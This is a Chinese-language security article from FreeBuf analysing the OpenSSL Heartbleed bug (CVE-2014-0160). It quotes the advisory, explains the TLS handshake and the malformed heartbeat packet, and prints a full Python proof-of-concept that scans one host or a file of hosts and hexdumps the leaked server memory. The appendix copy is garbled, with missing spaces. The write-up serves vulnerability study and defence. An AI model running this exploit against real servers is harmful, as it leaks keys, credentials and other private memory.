heartbleed
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
CVE-2014-0160 Heartbleed分析报告 Gall2014-04-18金币奖励+10共468815人围观 ,发现 14 个不明物体 WEB安全
2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL Heartbleed模块存在一个BUG,问题存在于ssl/dl_both.c文件中的心跳部分,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
1、漏洞说明
OpenSSL Security Advisory [07 Apr 2014]
========================================
TLS heartbeat read overrun (CVE-2014-0160)
==========================================
A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.
Thanks for Neel Mehta of Google Security for discovering this bug and to
Adam Langley
preparing the fix.
Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately
upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
1.0.2 will be fixed in 1.0.2-beta2.
参考:
https://www.openssl.org/news/secadv_20140407.txt
http://heartbleed.com/
http://s3.jspenguin.org/ssltest.py
2.TLS/SSL 简介
TLS 和 SSL 是两个密切相关的协议, 均用于保证两个主机之间通信数据的机密性与完整性。
TLS或 SSL 可为已存在的应用层协议(例如. HTTP, LDAP, FTP, SMTP 及其他),添加一个安全层。它同样可以用于创建VPN解决方案(例如, OpenVPN).
SSL 协议于1994年由Netscape开发。1996年,SSL 3.0 (最后版本)被发布。IETF 基于此协议进行了开发,取名为TLS。1999年,IETF在RFC2246中发布TLS 1.0。
TLS 或 SSL 协议,由多层构成. 最接近它的上层协议是可信传输协议(例如: TCP). 它可用于封装较高层次的协议。
协议握手 – 允许服务器与客户间相互验证, 协商加密算法,交换密钥.
协议警告 – 警告讯息传达警告的严重程度和警报的描述(错误,关闭,握手障碍等). 导致连接立即终止的一些致命结果,都会产生警告。警告信息会在当前连接状态下,被加密和压缩。
协议应用 – 位于传输层协议(TCP/IP)之上, 例如: HTTP, TELNET, FTP, SMTP.
为了在客户端与服务端建立一个安全会话,TLS/SSL需要完成几步验证,并创建密钥。握手过程,交互信息如下:
1.jpg
3.攻击流程
基于POC程序源代码(见附录A),介绍一下CVE-2014-0160漏洞的攻击思路:
1. 建立socket连接
2. 发送TLS/SSL Client Hello请求
3. 发送畸形heartbleed数据
4. 检测漏洞存在
建立socket连接
def ssltest(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
多数情况下, 默认443提供HTTPS服务.
2.jpg
3.jpg
4.jpg
发送TLS/SSL Client Hello请求
tcp socket 建立后, 发送SSL/TLS Client Hello请求,
s.send(h2bin(hello))
4.jpg
Client Hello请求数据如下所示:
# ----------TLSv1---[Client Hello]--------------
#Secure Sockets Layer
# TLSv1.1 Record Layer: Handshake Protocol: Client Hello
# Content Type: Handshake (22)
# Version: TLS 1.1 (0x0302)
# Length: 220
# Handshake Protocol: Client Hello
# Handshake Type: Client Hello (1)
# Length: 216
# Version: TLS 1.1 (0x0302)
# Random
# Session ID Length: 0
# Cipher Suites Length: 102
# Cipher Suites (51 suites)
# Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
# Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
# Cipher Suite: TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA (0xc022)
# Cipher Suite: TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA (0xc021)
# Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
# Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
# Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
# Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
# Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f)
# Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005)
# Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
# Cipher Suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
# Cipher Suite: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)
# Cipher Suite: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)
# Cipher Suite: TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA (0xc01c)
# Cipher Suite: TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA (0xc01b)
# Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
# Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
# Cipher Suite: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d)
# Cipher Suite: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003)
# Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
# Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
# Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
# Cipher Suite: TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA (0xc01f)
# Cipher Suite: TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA (0xc01e)
# Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
# Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
# Cipher Suite: TLS_DHE_RSA_WITH_SEED_CBC_SHA (0x009a)
# Cipher Suite: TLS_DHE_DSS_WITH_SEED_CBC_SHA (0x0099)
# Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
# Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
# Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e)
# Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004)
# Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
# Cipher Suite: TLS_RSA_WITH_SEED_CBC_SHA (0x0096)
# Cipher Suite: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
# Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)
# Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007)
# Cipher Suite: TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c)
# Cipher Suite: TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002)
# Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
# Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
# Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA (0x0015)
# Cipher Suite: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x0012)
# Cipher Suite: TLS_RSA_WITH_DES_CBC_SHA (0x0009)
# Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014)
# Cipher Suite: TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011)
# Cipher Suite: TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008)
# Cipher Suite: TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x0006)
# Cipher Suite: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003)
# Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
# Compression Methods Length: 1
# Compression Methods (1 method)
# Extensions Length: 73
# Extension: ec_point_formats
# Extension: elliptic_curves
# Extension: SessionTicket TLS
# Extension: Heartbeat
hello = [
# TLSv1.1 Record Layer : Handshake Protocol: Client Hello
"16" # Content Type: Handshake (22)
"03 02" # Version: TLS 1.1 (0x0302)
"00 dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"00 00 d8" # Length (216)
"03 02" # Version: TLS 1.1 (0x0302)
# Random
"53 43 5b 90" # gmt_unix_time
"9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de" # random_bytes
"00" # Session ID Length: 0
"00 66" # Cipher Suite Length: 102
# Cipher Suites
"c0 14"
"c0 0a"
"c0 22"
"c0 21"
"00 39"
"00 38"
"00 88"
"00 87"
"c0 0f"
"c0 05"
"00 35"
"00 84"
"c0 12"
"c0 08"
"c0 1c"
"c0 1b"
"00 16"
"00 13"
"c0 0d"
"c0 03"
"00 0a"
"c0 13"
"c0 09"
"c0 1f"
"c0 1e"
"00 33"
"00 32"
"00 9a"
"00 99"
"00 45"
"00 44"
"c0 0e"
"c0 04"
"00 2f"
"00 96"
"00 41"
"c0 11"
"c0 07"
"c0 0c"
"c0 02"
"00 05"
"00 04"
"00 15"
"00 12"
"00 09"
"00 14"
"00 11"
"00 08"
"00 06"
"00 03"
"00 ff"
"01" # Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"00 49" # Extension Length: 73
"00 0b" # Type: ec_point_formats
"00 04" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format: ansix962_compressed_prime
"02" # EC point format: ansix962_compressed_char2
# Extension: elliptic_curves
"00 0a"
"00 34"
"00 32"
"00 0e"
"00 0d"
"00 19"
"00 0b"
"00 0c"
"00 18"
"00 09"
"00 0a"
"00 16"
"00 17"
"00 08"
"00 06"
"00 07"
"00 14"
"00 15"
"00 04"
"00 05"
"00 12"
"00 13"
"00 01"
"00 02"
"00 03"
"00 0f"
"00 10"
"00 11"
"00 23 00 00" # Extension: SeesionTicket TLS
"00 0f 00 01 01" # Extension: Heartbeat
]
发送Client Hello后,等待服务端响应, 检测TLS/SSLClient Hello会话是否成功.
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
return
# Look for server hello done message.
# typ == 22 ----> Handshake
#
if typ == 22 and ord(pay[0]) == 0x0E:
break
5.jpg
此处服务器返回两次数据. Frame 10返回, 主要用于进一步获取 Server Hello 信息. Frame 11 为 TLS/SSL 的Server Hello 响应.
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
def recvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
# 用于进一步确认 Server Hello的信息.
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer + integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH', hdr)
# 返回 Server Hello 数据内容
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
Server Hello 消息返回, 说明TTL/SSL 会话成功建立, 此过程伴随有Certificate, Server Key Exchange, Server Hello Done.
6.jpg
发送畸形heartbleed数据
Server Hello成功返回后, 向服务器发送畸形heartbleed 请求. 如果服务器响应, 会伴随有 Encrypted Heartbeats Message,也就是泄露的内存数据.
s.send(h2bin(hb)) # Malformed Packet
Heartbleed 包数据如下:
# ---------TLSv1---[Heartbeat Request]------------
hb = [
# TLSv1.1 Record Layer: Heartbeat Request
"18" # Content Type: Heartbeat (24) ---- (0x18)
"03 02" # Version: TLS 1.1 (0x0302)
"00 03" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"40 00" # Payload Length: (16384) (0x4000)
]
1.jpg
检测漏洞是否存在
畸形数据包发送完成后, 检测漏洞是否存在
while True:
print "[+] receive data..."
typ, ver, pay = recvmsg(s)
if typ is None:
print "[-] %s |NOT VULNERABLE" % target
return False
# TLSv1.1 Record Layer: Encrypted Heartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if typ == 24: # Content Type: Heartbeat (24)
if len(pay) > 3: # 无数据返回.
print "[*] %s |VULNERABLE" % target
else:
print "[-] %s |NOT VULNERABLE" % target
return True
if typ == 21:
print "[-] %s |NOT VULNERABLE" % target
return False
2.jpg
泄露的部分数据如下图所示.
3.jpg
修复建议:
请使用无漏洞版本
附录A – POC
#!/usr/bin/python
#Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
#The author disclaims copyright to this source code.
#Modified for simplified checking by Yonathan Klijnsma
#Modified for multiple hosts by hap.ddup
#http://seclists.org/fulldisclosure/2014/Apr/94
#http://blog.fox-it.com/2014/04/08/openssl-heartbleed-bug-live-blog/
#------------------------------------------------
#
#OpenSSL versions 1.0.1 -- 1.0.1f are vulnerable
#
#------------------------------------------------
#importsys
importstruct
importsocket
importtime
importselect
#importre
fromoptparse import OptionParser
#target= None
#options= OptionParser(usage='%prog server [options]', description='Test for SSLheartbeat vulnerability (CVE-2014-0160)')
#options.add_option('-p','--port', type='int', default=443, help='TCP port to test (default: 443)')
#options.add_option('-d','--dest', type='string',dest='host', help='HOST to test')
#options.add_option('-f','--file', type='string',dest='filename', help='Hosts in the FILE to test ')
defh2bin(x):
return x.replace(' ', '').replace('\n','').decode('hex')
#----------TLSv1---[Client Hello]--------------
#SecureSockets Layer
# TLSv1.1 Record Layer: Handshake Protocol:Client Hello
# Content Type: Handshake (22)
# Version: TLS 1.1 (0x0302)
# Length: 220
# Handshake Protocol: Client Hello
# Handshake Type: Client Hello (1)
# Length: 216
# Version: TLS 1.1 (0x0302)
# Random
# Session ID Length: 0
# Cipher Suites Length: 102
# Cipher Suites (51 suites)
# Cipher Suite:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
# Cipher Suite:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
# Cipher Suite:TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA (0xc022)
# Cipher Suite:TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA (0xc021)
# Cipher Suite:TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
# Cipher Suite:TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
# Cipher Suite:TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
# Cipher Suite:TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
# Cipher Suite:TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f)
# Cipher Suite:TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005)
# Cipher Suite:TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
# Cipher Suite:TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
# Cipher Suite:TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)
# Cipher Suite:TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)
# Cipher Suite:TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA (0xc01c)
# Cipher Suite:TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA (0xc01b)
# Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(0x0016)
# Cipher Suite:TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
# Cipher Suite:TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d)
# Cipher Suite:TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003)
# Cipher Suite:TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
# Cipher Suite:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
# Cipher Suite:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
# Cipher Suite:TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA (0xc01f)
# Cipher Suite:TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA (0xc01e)
# Cipher Suite:TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
# Cipher Suite:TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
# Cipher Suite:TLS_DHE_RSA_WITH_SEED_CBC_SHA (0x009a)
# Cipher Suite:TLS_DHE_DSS_WITH_SEED_CBC_SHA (0x0099)
# Cipher Suite:TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
# Cipher Suite:TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
# Cipher Suite:TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e)
# Cipher Suite:TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004)
# Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA(0x002f)
# Cipher Suite:TLS_RSA_WITH_SEED_CBC_SHA (0x0096)
# Cipher Suite:TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
# Cipher Suite:TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)
# Cipher Suite:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007)
# Cipher Suite:TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c)
# Cipher Suite:TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002)
# Cipher Suite:TLS_RSA_WITH_RC4_128_SHA (0x0005)
# Cipher Suite:TLS_RSA_WITH_RC4_128_MD5 (0x0004)
# Cipher Suite:TLS_DHE_RSA_WITH_DES_CBC_SHA (0x0015)
# Cipher Suite:TLS_DHE_DSS_WITH_DES_CBC_SHA (0x0012)
# Cipher Suite:TLS_RSA_WITH_DES_CBC_SHA (0x0009)
# Cipher Suite:TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014)
# Cipher Suite:TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011)
# Cipher Suite:TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008)
# Cipher Suite:TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x0006)
# Cipher Suite:TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003)
# Cipher Suite:TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
# Compression Methods Length: 1
# Compression Methods (1 method)
# Extensions Length: 73
# Extension: ec_point_formats
# Extension: elliptic_curves
# Extension: SessionTicket TLS
# Extension: Heartbeat
hello= [
# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
"16" # Content Type: Handshake (22)
"0302" # Version: TLS 1.1 (0x0302)
"00dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"0000 d8" # Length (216)
"0302" # Version: TLS 1.1 (0x0302)
# Random
"5343 5b 90" # gmt_unix_time
"9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes
"00" # Session ID Length: 0
"0066" # Cipher Suite Length: 102
# Cipher Suites
"c014"
"c00a"
"c022"
"c021"
"0039"
"0038"
"0088"
"0087"
"c00f"
"c005"
"0035"
"0084"
"c012"
"c008"
"c01c"
"c01b"
"0016"
"0013"
"c00d"
"c003"
"000a"
"c013"
"c009"
"c01f"
"c01e"
"0033"
"0032"
"009a"
"0099"
"0045"
"0044"
"c00e"
"c004"
"002f"
"0096"
"0041"
"c011"
"c007"
"c00c"
"c002"
"0005"
"0004"
"0015"
"0012"
"0009"
"0014"
"0011"
"0008"
"0006"
"0003"
"00ff"
"01" #Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"0049" # Extension Length: 73
"000b" # Type: ec_point_formats
"0004" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format:ansix962_compressed_prime
"02" # EC point format:ansix962_compressed_char2
# Extension: elliptic_curves
"000a"
"0034"
"0032"
"000e"
"000d"
"0019"
"000b"
"000c"
"0018"
"0009"
"000a"
"0016"
"0017"
"0008"
"0006"
"0007"
"0014"
"0015"
"0004"
"0005"
"0012"
"0013"
"0001"
"0002"
"0003"
"000f"
"0010"
"0011"
"0023 00 00" # Extension:SeesionTicket TLS
"000f 00 01 01" # Extension:Heartbeat
]
#---------TLSv1---[Heartbeat Request]------------
hb= [
# TLSv1.1 Record Layer: HeartbeatRequest
"18" # Content Type: Heartbeat (24) ----(0x18)
"0302" # Version: TLS 1.1 (0x0302)
"0003" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"4000" # Payload Length: (16384) (0x4000)
]
hello= hello[0].replace("","").replace("\n","")
hb= hb[0].replace("","").replace("\n","")
defhexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for cin lin)
pdat = ''.join((c if 32 <= ord(c)<= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
defrecvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
defrecvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer +integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH',hdr)
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
defhit_hb(s, target):
#global target
s.send(h2bin(hb))
while True:
print "[+] receive data..."
typ, ver, pay = recvmsg(s)
if typ is None:
print "[-] %s |NOTVULNERABLE" % target
return False
# TLSv1.1 Record Layer: EncryptedHeartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if typ == 24:
if len(pay) > 3:
print "[*] %s |VULNERABLE" %target
else:
print "[-] %s |NOTVULNERABLE" % target
return True
if typ == 21:
print "[-] %s |NOTVULNERABLE" % target
return False
defssltest(target, port):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, port))
s.send(h2bin(hello))
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
return
# Look for server hello done message.
# typ == 22 ----> Handshake
#
if typ == 22 and ord(pay[0]) == 0x0E:
break
#sys.stdout.flush()
print "[+] send payload: %s" % hb
s.send(h2bin(hb)) # Malformed Packet
return hit_hb(s, target) # ------------- *********
defmain():
#global target
options = OptionParser(usage='%prog server[options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port',type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-d', '--dest',dest='host', help='HOST to test')
options.add_option('-f', '--file',dest='filename', help='Hosts in the FILE to test ')
(opts, args) = options.parse_args()
#print (opts, args)
#if len(args) < 1:
# options.print_help()
# return
if opts.host:
ssltest(opts.host, opts.port)
return
if opts.filename:
hostfile=open(opts.filename,'r').readlines()
for host in hostfile:
host = host.strip()
if len(host) > 3: # x.x
ssltest(host, opts.port)
return
if len(args) < 1: options.print_help() return if__name__ == '__main__': main() Gall Gall 9 篇文章 等级: 4级 || 上一篇:SQLmap简介以及防火墙绕过方法下一篇:安全科普:流量劫持能有多大危害? 发表评论已有 14 条评论 Gall 2014-04-18回复 1楼 审核太快了,再次补充一点遗漏的内容。 def recvmsg(s): # 处理返回时的数据 # 注意recvall被调用两次 # 第一次recvall —– 获取5字节信息(包括Content Type/Version/Length) # 第二次recvall —– 获取握手协议对应的payload # # Client Hello —- 发起会话 # Server Hello Done —- 结束会话 (payload 十六进制为 0EOOOOOO) # 对应代码: if typ == 22 and ord(pay[0]) == 0x0E: # # Secure Sockets Layer # – TLSv1.1 Record Layer: Handshake Protocol: [Server Hello]/[Certificate]/[Server Key Exchange]/[Server Hello Done] # Content Type: Handshke (22) (1个字节) # Version: TLS 1.1 (0×0302) (2个字节) # Length: 4198 (2个字节) # – Handshake Protocol: [Server Hello]/[Certificate]/[Server Key Exchange]/[Server Hello Done] # Handshake Type: [Server Hello]/[Certificate]/[Server Key Exchange]/[Server Hello Done] # Length: # Version/Certificate Length/Length/Length 注意与上面对应 # 此例子中payload类型有: # [Server Hello] — payload # [Certificate] — payload # [Server Key Exchange] — payload # [Server Hello Done] — payload hdr = recvall(s, 5) if record_header is None: print ‘Unexpected EOF receiving record header – server closed connection’ return None, None, None typ, ver, ln = struct.unpack(‘>BHH’, hdr)
pay = recvall(s, ln, 10)
if payload is None:
print ‘Unexpected EOF receiving record payload – server closed connection’
return None, None, None
# print ‘ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay
亮了(4)
rie11111 (1级) 2014-05-19回复
@Gall 有一事不明,首次接受5个字节是何用意?ssl的报文头是4个字节啊?
亮了(0)
Gall (4级) 2014-05-20回复
@rie11111
报告中已有提示, 例如:
# TLSv1.1 Record Layer : Handshake Protocol: Client Hello
"16" # Content Type: Handshake (22)
"03 02" # Version: TLS 1.1 (0×0302)
"00 dc" # Length: 220
亮了(0)
Gall (4级) 2014-05-20回复
@Gall
# TLSv1.1 Record Layer : Handshake Protocol: Server Hello
Content Type: Handshake (22) —- 1 字节
Version: TLS 1.1 (0×0302) —- 2 字节
Length: 66 —- 2 字节
[+] Handshake Protocol: Server Hello
……
亮了(0)
rie11111 (1级) 2014-05-20回复
@Gall 谢谢了,貌似ssl和tls不同,我看的是ssl的格式
亮了(0)
rie11111 (1级) 2014-05-20回复
@Gall 十分感谢,但是还有一点不明白。ord(pay[0]) == 0x0E是何用处?
亮了(0)
Gall (4级) 2014-05-20回复
@rie11111 服务器以Server Hello Done结束Client Hello,
Server Hello Done, 返回payload为0e000000.
如果可能, 建议抓包,自己看看。
亮了(0)
rie11111 (1级) 2014-05-20回复
@Gall 十分感谢!
亮了(0)
rie11111 (1级) 2014-05-21回复
@Gall 已抓包检测,十分感谢
亮了(0)
chenyoufu123 2014-04-19回复 2楼
不错不错
亮了(0)
李彦宏 2014-04-21回复 3楼
精~
亮了(2)
lusiyu (1级) 2014-06-27回复 4楼
已阅
亮了(0)
向囸揆 (1级) 2015-04-15回复 5楼
[img]http://photo.weibo.com/2525655737/photos/large/photo_id/3831925608462334/album_id/3831925532963606[/img]
源代码复制下来部分错误,也就是该空格没有空格,略微修改在虚拟机中测试,openssl1.0.1e。结果在第二次调用recvmsg的时候出现错误,正在找原因。。。。。。
亮了(1)
hell0123 2016-01-29回复 6楼
为什么heartbeat发了两次?
一次在调用hit_hb之前,一次在hit_hb中。
亮了(3)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
Gall
Gall
这家伙太懒,还未填写个人描述!
9
文章数
34
评论数
最近文章
CVE-2014-0160 Heartbleed分析报告
2014.04.18
知名安全扫描器Acunetix WVS中文教程(PDF下载)
2013.08.15
[电子书]渗透测试框架Metasploit基础(中文版PDF)
2013.07.25
浏览更多
相关阅读
基于RDP的SSL中间人攻击Optionsbleed 漏洞泄露 Apache Server 的内存信息安全扫描神器Nmap 7新版发布为何你的浏览器不信任GlobalSign签发的HTTPS证书?又一个“心脏滴血”?OpenSSL明日将发布安全补丁,修复未披露的0day高危漏洞
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论